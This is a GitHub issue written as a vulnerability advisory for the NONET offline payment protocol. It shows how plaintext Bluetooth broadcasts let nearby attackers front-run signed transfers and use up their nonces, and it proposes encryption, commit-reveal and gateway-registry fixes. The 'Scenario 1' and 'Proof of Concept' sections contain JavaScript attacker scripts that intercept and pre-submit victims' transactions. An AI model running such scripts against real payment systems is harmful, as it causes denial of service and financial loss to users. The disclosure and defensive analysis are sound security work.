Skip to content

CVE-002: Nonce Exhaustion Attack via Plaintext BLE Broadcast #2

@laciferin2024

Description

@laciferin2024

CVE-2025-002: Nonce Exhaustion Attack via Plaintext BLE Broadcast

Basic Info

  • Vulnerability: Nonce front-running attack
  • Severity: CRITICAL (9.1/10)
  • Attack Cost: Low (just needs BLE receiver + internet)
  • Affected: NONET protocol + the current implementation of contracts/AuthAndMintToken.sol & contracts/EIPThreeDoubleZeroNine.sol

The Problem

NONET broadcasts signed transactions over Bluetooth as plaintext. Anyone nearby can read the transaction details including the nonce. Since blockchain nonces are single-use, an attacker can just submit the same signed transaction first and exhaust the nonce, making the victim's transaction permanently fail or just submit a random tx in the same nonce.

Technical Details

What Gets Exposed Over BLE

// This is broadcast in plaintext over Bluetooth:
{
  "from": "0x742d35Cc6634C0532925a3b8D2C0C0532925a3b8",
  "to": "0x8ba1f109551bD432803012645Hac136c0532925a3",
  "value": "1000000000000000000",
  "validAfter": 1704153600,
  "validBefore": 1704240000,
  "nonce": "0x1234567890abcdef1234567890abcdef1234567890abcdef1234567890abcdef",
  "signature": "0x..."
}

The Smart Contract Check

function transferWithAuthorization(
    address from,
    address to,
    uint256 value,
    uint256 validAfter,
    uint256 validBefore,
    bytes32 nonce,
    bytes calldata signature
) public {
    require(_authorizationUsed.add(nonce), "SimpleAuth: nonce used");
    // ... signature verification
    _transfer(from, to, value);
}

Once a nonce is used, it's marked in the _authorizationUsed set. Any future attempt with the same nonce fails.

Attack Flow

[Victim Device] --BLE--> [Attacker Device] --Internet--> [Blockchain]
     |                         |                              |
     |                    (intercepts tx)                     |
     |                         |                              |
     |                    (submits first)                     |
     |                         |                         (nonce marked used)
     |                         |                              |
[Victim Gateway] -----------Internet------------------------> [Blockchain]
                                                          (REJECTED: nonce used)

Attack Scenarios

Scenario 1: Systematic DOS

// Attacker code
bleScanner.on('transaction', async (tx) => {
  // Intercept every transaction on mesh
  const parsedTx = JSON.parse(tx.payload);
  
  // Submit to blockchain immediately with high gas
  await web3.eth.sendSignedTransaction({
    ...parsedTx,
    gasPrice: web3.utils.toWei('100', 'gwei') // Pay more to get mined first
  });
  
  console.log(`Exhausted nonce: ${parsedTx.nonce}`);
});

Result: Every offline user's transaction fails when it finally reaches blockchain.

Scenario 2: Transaction Hijacking

Even worse, the attacker could modify parameters before submitting:

// Change recipient to attacker's address
parsedTx.to = attackerAddress;
// But keep original signature and nonce

// This WON'T work because signature validation will fail
// HOWEVER, attacker can still DOS by submitting original tx first

Scenario 3: Marketplace Attack

  • Attacker sits near a marketplace using NONET
  • Customers think they're paying merchants
  • All payments fail due to exhausted nonces
  • Marketplace loses all credibility

Why This is Unfixable at Smart Contract Level

The contract is doing everything right:

  • ✅ Checking nonce uniqueness
  • ✅ Verifying signatures
  • ✅ Checking time bounds

The problem is architectural: signing offline + broadcasting plaintext + delayed submission = guaranteed race condition.

Impact

  • Denial of Service: 100% transaction failure rate possible
  • Financial Loss: Gas fees paid for transactions that will never succeed
  • Network Unusable: No one can trust NONET for real payments
  • Reputation Damage: Users lose faith in the protocol

Why Random Nonces Don't Help

Even with cryptographically random nonces:

  1. Victim generates random nonce 0xABC...
  2. Signs transaction with that nonce
  3. Broadcasts over BLE (plaintext)
  4. Attacker sees 0xABC... and uses it first
  5. Victim's gateway fails to submit

The randomness doesn't matter if the attacker sees it before the blockchain does.

Proof of Concept

Attacker Setup

const BleManager = require('react-native-ble-plx');
const Web3 = require('web3');

const web3 = new Web3('https://sepolia.infura.io/v3/YOUR_KEY');

// Listen for NONET transactions
const manager = new BleManager.BleManager();
manager.startDeviceScan(null, null, async (error, device) => {
  if (device.name === 'NONET') {
    const txData = parseNonetPacket(device.manufacturerData);
    
    // Front-run the transaction
    await web3.eth.sendTransaction({
      from: attackerAddress,
      to: contractAddress,
      data: encodeFunctionCall('transferWithAuthorization', txData),
      gas: 200000,
      gasPrice: web3.utils.toWei('200', 'gwei') // Ensure we're first
    });
    
    console.log('Nonce exhausted:', txData.nonce);
  }
});

Testing

  1. Deploy contract to Sepolia
  2. Run attacker script
  3. Send transaction via NONET
  4. Observe: attacker's submission succeeds, victim's fails

Recommended Fixes

Short-term: Encrypt the Payload

// Sender side
const sharedSecret = deriveSharedSecret(gatewayPublicKey, senderPrivateKey);
const encryptedTx = encrypt(transactionData, sharedSecret);

// Only gateway can decrypt and submit
// Other relays just forward encrypted blob

Long-term: Commitment Scheme

mapping(bytes32 => uint256) public commitments;

function commitTransaction(bytes32 commitment) public {
    commitments[commitment] = block.timestamp;
}

function executeWithReveal(
    address from,
    address to,
    uint256 value,
    bytes32 nonce,
    bytes calldata signature
) public {
    bytes32 commitment = keccak256(abi.encode(from, to, value, nonce));
    require(commitments[commitment] > 0, "No commitment");
    require(block.timestamp >= commitments[commitment] + 10, "Too early");
    
    // Now execute safely
}

This forces everyone to commit first, then reveal after delay.

Alternative: Trusted Gateway Registry

mapping(address => bool) public trustedGateways;

function transferWithAuthorization(...) public {
    require(trustedGateways[msg.sender], "Untrusted gateway");
    // ... rest of logic
}

Only pre-approved gateways can submit. Bad actors get removed.

Developer Notes

As a Solidity dev, I've seen this pattern before: off-chain signing + delayed submission = race conditions. The contract itself is secure, but the system design creates an exploitable window.

Similar issues exist in:

  • Gasless transaction relayers
  • Meta-transaction services
  • Any system where signed messages are public before execution

Mitigation Checklist

  • Encrypt transaction payloads before BLE broadcast
  • Implement gateway authentication and bonding
  • Add commitment-reveal scheme to contract
  • Monitor for suspicious nonce exhaustion patterns
  • Consider Layer 2 solutions (state channels, rollups)

References

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions